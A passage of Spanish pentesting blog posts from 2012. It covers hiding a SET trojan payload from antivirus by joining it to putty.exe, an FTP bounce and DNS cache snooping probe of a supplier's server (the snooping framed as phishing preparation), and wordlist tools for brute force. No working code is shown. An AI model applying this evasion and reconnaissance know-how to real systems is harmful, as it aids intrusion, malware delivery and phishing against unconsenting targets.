Haciendo pruebas, a la hora de codificar y elegir nuestro payload, tenemos que probar varias cosas, y si sabemos el motor de antivirus que usa el cliente del pentest, hacernos con uno y probarlo antes de hacer el despliegue de medios infectados.
Yo por ejemplo, con el Security Essentials, usando el payload Reverse_tcp clásico ( la opción 1) y usando la codificacion 16, me lo bloqueaba. Usando el mismo payload que la prueba ( 2 meterpreter tcp) y la codificación 15 Multi Encoder ( hasta hace poco esta era indetectable) también me lo detectaba.
En ambos casos, he probado a usar el Joiner de windows que el amigo JCHIERRO explicó fabulosamente en su blog. con un fichero normal, como el caso de putty.exe ( el que tenia a mano) y ya no me lo detectó el AV.

Espero que os haya gustado ese sencillo manual de como hacer un troyano indetectable, a fecha de hoy, con SET. Buscando por internet medidas de evasión de AV hay muchos artículos, pero tener en cuenta lo que os he dicho antes, que los "mismos que hacen los exploits son los que los incorporan en las firmas de AV" y todo tiene un tiempo y caducidad.  Si es cierto que muchas empresas cuenta con AV desactualizados, y hay trucos que no dejan de funcionar nunca, pero siempre tenemos que prepararnos para lo peor.

Gracias por leerme.

miércoles, 12 de septiembre de 2012

FTP Bounce Attack...2012 !!!! y demás fallos...

Seguro que los mas experimentados en la materia, os sonará este fallo/ataque en el planteamiento del protocolo FTP. Hace ya tiempo que se detectó (1995?), pero es interesante conocer un poco sobre este vector, ya que aunque parezca mentira, me pongo colorada... aún hoy hay sistemas vulnerables por este clásico de los clásicos.
La teoría del FTP BOUNCE attack.
Nos vamos a un nmap sencillo, con los script´s default, y analizamos el cliente, este caso concreto, un proveedor mio.
jurl jurl jurl... Ftp Bounce attack permitido, pero no hacia los puertos del sistema, por debajo de 1024... Voy a probar a escanearme un puerto a mi mismo, por ejemplo el 8080, a ver si realmente lo lanza.


Como podéis ver, lanzo el barrido pasándole un usuario anónimo y una clave cualquiera, a continuación le paso el puerto de mi sistema, y la Ip. En efecto, me escanea mi puerto. De esta manera tenemos un bastión para nuestros futuros scans ( al menos de puertos por encima de 1024).

Mas cosas. Como podéis ver en la primera imagen, me llama la atención que tiene algo de "vidyoconference" en el puerto 80. vamos a probarlo.


Y si... antes de buscar xss o SqlI me voy a google, y busco el usuario por defecto... no creo que siendo una empresa de comunicaciones...





Voy a seguir un poco... puerto DNS abierto, tendrán una transferencia de zona abierta... no.
Vamos a preguntar a su dns por recursos. Lo que viene siendo un DNS cache snooping, pero manual, fijándonos en los TTL.
Serán del Barsa, que no tienen en cache el Marca. com? por qué?

547 msec.  vamos a preguntarlo por segunda vez, a ver si realmente va mas rápido, porque tiene la ip en la cache.

Efectivamente, parece que si, porque ha bajado a 153. msec.

Voy a hacer otra prueba, esta vez con nmap y los scripts. Voy a lanzar un script para comprobar efectivamente si las peticiones son de la cache, o se ha empleado recursividad.




Sin pasarle argumentos al script nos testeara estas webs:

&apos;mail.google.com&apos;, &apos;gmail.com&apos;,                 --- Gmail
    &apos;mail.yahoo.com&apos;, &apos;login.yahoo.com&apos;,            --- Yahoo Mail
    &apos;mail.aol.com&apos;, &apos;my.screenname.aol.com&apos;,        --- AOL/AIM Mail
    &apos;www.gmx.com&apos;, &apos;gmx.com&apos;,                       --- GMX Mail
    &apos;hotmail.com&apos;, &apos;login.live.com&apos;,                --- Hotmail / MSN Live
    &apos;www.facebook.com&apos;, &apos;facebook.com&apos;,             --- Facebook
    &apos;www.twitter.com&apos;, &apos;twitter.com&apos;,               --- Twitter
    &apos;www.linkedin.com&apos;, &apos;linkedin.com&apos;,             --- LinkedIn
    &apos;www.plaxo.com&apos;, &apos;plaxo.com&apos;,                   --- Plaxo
    &apos;www.myspace.com&apos;, &apos;myspace.com&apos;,               --- MySpace
    &apos;www.ivillage.com&apos;, &apos;ivillage.com&apos;,             --- iVillage
    &apos;www.flickr.com&apos;, &apos;flickr.com&apos;,                 --- Flickr
    &apos;www.youtube.com&apos;, &apos;youtube.com&apos;,               --- Youtube
    &apos;www.digg.com&apos;, &apos;digg.com&apos;,                     --- Digg
    &apos;www.reddit.com&apos;, &apos;reddit.com&apos;,                 --- Reddit
    &apos;www.craigslist.com&apos;, &apos;craigslist.com&apos;,         --- Craigslist
    &apos;update.microsoft.com&apos;,                         --- MS Patches
    &apos;www.microsoft.com&apos;, &apos;microsoft.com&apos;,           --- General MS
    &apos;technet.microsoft.com&apos;,                        --- Technet Access
    &apos;rhn.com&apos;,&apos;rhn.redhat.com&apos;,&apos;redhat.com&apos;,        --- RHN Access
    &apos;www.novell.com&apos;, &apos;novell.com&apos;,                 --- SLES / SLED
    &apos;www.kernel.org&apos;, &apos;kernel.org&apos;,                 --- Kernel Sources, etc
    &apos;www.ubuntu.com&apos;, &apos;ubuntu.com&apos;,                 --- Ubuntu
    &apos;www.debian.com&apos;, &apos;debian.com&apos;,                 --- Debian
    &apos;www.freebsd.org&apos;, &apos;freebsd.org&apos;,               --- FreeBSD
    &apos;www.openbsd.org&apos;, &apos;openbsd.org&apos;,               --- OpenBSD
    &apos;www.oracle.com&apos;, &apos;oracle.com&apos;,                 --- Oracle
    &apos;docs.sun.com&apos;, &apos;www.sun.com&apos;, &apos;sun.com&apos;,       --- Sun/Solaris Docs
    &apos;www.centos.org&apos;, &apos;centos.org&apos;,                 --- CentOS
    &apos;www.nmap.org&apos;, &apos;nmap.org&apos;,                     --- Couldn&apos;t Resist
    &apos;ha.ckers.org&apos;, &apos;sla.ckers.org&apos;                 --- Should not be


Podemos usar este script con nuestros host, o por ejemplo dnsrecon, instalada en backtrack, que a mi personalmente me resulta muy sencilla de usar, pasándole nuestro fichero text de dominios a buscar.

Pero por qué tanto lio con el DNS cache? Pués muy sencillo. Averiguando los sitios visitados, podría ser mucho mas sencillo a la hora de realizar un ataque de phising.

Mas cositas... según la imagen. tengo un proxy abierto público...


No creo que siga buscando, pero creo, por lo que he visto, que por cada puerto/servicio que ofrecen, tienen una de indios y vaqueros montada ahí.
Esto ahora mismo, es una máquina PELIGROSA, ya que si bien no he intentado "sentarme" delante del server, si que tengo abiertas las puertas, por ejemplo, para atacar a otros sistemas, usando este sistema comprometido ligeramente.
Gracias por leerme.
Perdonar que no tenga mucha actividad estos últimos días, pero me he tomado días de vacaciones y ando liado con varios proyectos. Dentro de poco disfrutareis de ellos xD.

viernes, 7 de septiembre de 2012

CUPP (Common User Passwords Profiler) creación de wordlist.

El anteriores entradas hablábamos de creación de diccionarios mediante spider de web´s y mutaciones y mediante palabras en documentos.

Vamos ahora con otro script muy sencillo, y puede que si suena la flauta efectivo.

Se encuentra "de serie" en la distro. Backtrack 5.


A mi así no me arranca xD, por lo que me voy a la carpeta y lo ejecuto, a pelo, sin comandos, salvo -i, modo interactivo, el cual me va haciendo preguntas, para generar la wordlist en base a ellas.



Otras opción de CUPP es la de pasarle un fichero de wordlist creado con otra aplicación, y aplicarle las modificaciones que emplea CUPP mediante las 4 últimas preguntas. Para realizar esta tarea basta con usar:

Fijaros en que de una palabra, ha sacado 36.

No son muchas combinaciones, y viendo los resultados, se me ocurren un montón más, pero es un script básico, y comodo, sobre todo por las preguntas, que combinado con otros scripts, sin duda nos ayudará en el proceso de fuerza bruta.
El amigo de Human Security está trabajando duro sobre todo esto, y está a punto de publicar un script completo, con todo tipo de mutaciones de literales.
En cuanto lo saque, y si su copileft/copiright me lo permite, hablaremos de ellos.

Mientras tanto, gracias por leerme!!! xD















jueves, 6 de septiembre de 2012

Who´s your Daddy... creación de wordlist...

La primera vez que leí sobre esta herramienta, me vino a la cabeza un vídeo fantástico de una pésima canción, pero insisto, el vídeo es muy bueno ( versión sin censura).
Al lío. Como ya hablamos en otras entradas sobre CEWL y RsMangler, es muy útil tener una buena lista de palabras en nuestros diccionarios para realizar pruebas de penetración mediante ataques de fuerza bruta.
En la entrada de hoy os presento una interesante herramienta para encontrar literales, esta vez en documentos. Para la prueba de concepto he usado un fichero html de una web, pero funciona con casi todo tipo de documentos "usados en la web" como son txt, html,php, doc, pdf, ppt odt/ods/odp. Podemos descargar la web entera de nuestro objetivo, como expicamos en anteriores post, y pasarle el wyd.pl para crear una buena lista.
La web del proyecto es esta: http://www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_Who%27s_Your_Daddy_Password_Profiler_(WYD) pero no podrás descargar el script de ahí, sino de aquí.

Lo descomprimes en tu directorio favorito, y el piano básico es:












Si lanzas el script sin parámetros podrás ver en detalle las opciones, pero la -n del final es útil para que no pare el script, cuando encuentre links a ficheros, caracteres raros, etc.

Espero que os guste !!!

martes, 4 de septiembre de 2012

Recuerdos del pasado...

Esta mañana, buscando un backup de uno de los numerosos portátiles que he tenido en mi vida, me han aparecido unos recuerdos muy bonitos que quería compartir con vosotros.
Durante unos años, en el comienzo de mi vida profesional, me dedicaba a dar cursos de sistemas, sobre todo familia Microsoft Server.
Recuerdo que con 20 añitos, allá por el 2000, "enfrentándome" a gente que me doblaba en edad y experiencia, y sobre todo en sueldo, y yo ahí delante del "toro". Algunos aprendieron algo... yo aprendí un montón.
Recuerdo que para todos los cursos, les hacia un examen inicial, para saber con que me enfrentaba.












Todos sabemos las respuestas de pe a pa no? son de hace 12 años !!!.

También me lo pasaba muy bien poniéndoles prácticas. Hoy muy sencillas, pero en su día novedosas para los que venían del mundo NT 4 y anteriores.



















Pero lo que más me ha gustado encontrar, era mi página web !!! Estaba hecha a pelo en asp.net, por un personaje como yo de sistemas. Revisando el código me he reído un montón viendo todas las SQLi que ofrecía.
No lo he montado sobre el IIS, he visto solo los ficheros a pelo, sin acceso a datos, pero algún día lo montaré...si me acuerdo.












Guardo grandes recuerdos de aquella época, con los MVP Raúl Serrano, Salvador Ramos, Javier Ingles, el amigo Alejandro Esteve etc etc. y Toda la gente de los foros Technet.

Seguímos con más cosas...